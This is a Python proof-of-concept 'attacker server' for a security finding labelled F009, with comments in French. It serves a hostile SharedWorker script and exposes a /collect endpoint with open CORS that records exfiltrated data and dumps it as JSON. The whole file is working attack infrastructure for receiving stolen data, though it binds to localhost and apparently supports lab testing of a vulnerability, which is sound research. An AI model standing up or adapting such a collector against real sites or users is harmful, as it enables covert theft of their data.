#!/usr/bin/env python3
"""Serveur attacker PoC F009.
Sert worker.js + endpoint /collect pour l'exfiltration.
"""
import http.server, json, os, sys, threading
from http.server import BaseHTTPRequestHandler, HTTPServer

PORT = 8000
COLLECTED = []
DIR = os.path.dirname(os.path.abspath(__file__))

class Handler(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        sys.stderr.write("[server] " + (fmt % args) + "\n")

    def _cors(self):
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Methods", "POST, GET, OPTIONS")
        self.send_header("Access-Control-Allow-Headers", "Content-Type")

    def do_OPTIONS(self):
        self.send_response(204); self._cors(); self.end_headers()

    def do_GET(self):
        if self.path == "/worker.js":
            with open(os.path.join(DIR, "worker.js"), "rb") as f: data = f.read()
            self.send_response(200)
            self.send_header("Content-Type", "application/javascript")
            self._cors(); self.end_headers(); self.wfile.write(data)
        elif self.path == "/collected":
            body = json.dumps(COLLECTED, indent=2).encode()
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self._cors(); self.end_headers(); self.wfile.write(body)
        else:
            self.send_response(404); self._cors(); self.end_headers()

    def do_POST(self):
        if self.path == "/collect":
            length = int(self.headers.get("Content-Length", "0"))
            raw = self.rfile.read(length).decode("utf-8", "ignore")
            try:
                data = json.loads(raw)
            except Exception:
                data = raw
            COLLECTED.append(data)
            sys.stderr.write(f"[EXFIL RECEIVED] {data}\n")
            self.send_response(200); self._cors(); self.end_headers()
            self.wfile.write(b'ok')
        else:
            self.send_response(404); self._cors(); self.end_headers()

if __name__ == "__main__":
    print(f"[*] F009 attacker server on http://127.0.0.1:{PORT}")
    print(f"[*] GET /worker.js   -> serves attacker SharedWorker script")
    print(f"[*] POST /collect    -> records exfil attempts")
    print(f"[*] GET /collected   -> dumps recorded exfils (JSON)")
    HTTPServer(("127.0.0.1", PORT), Handler).serve_forever()
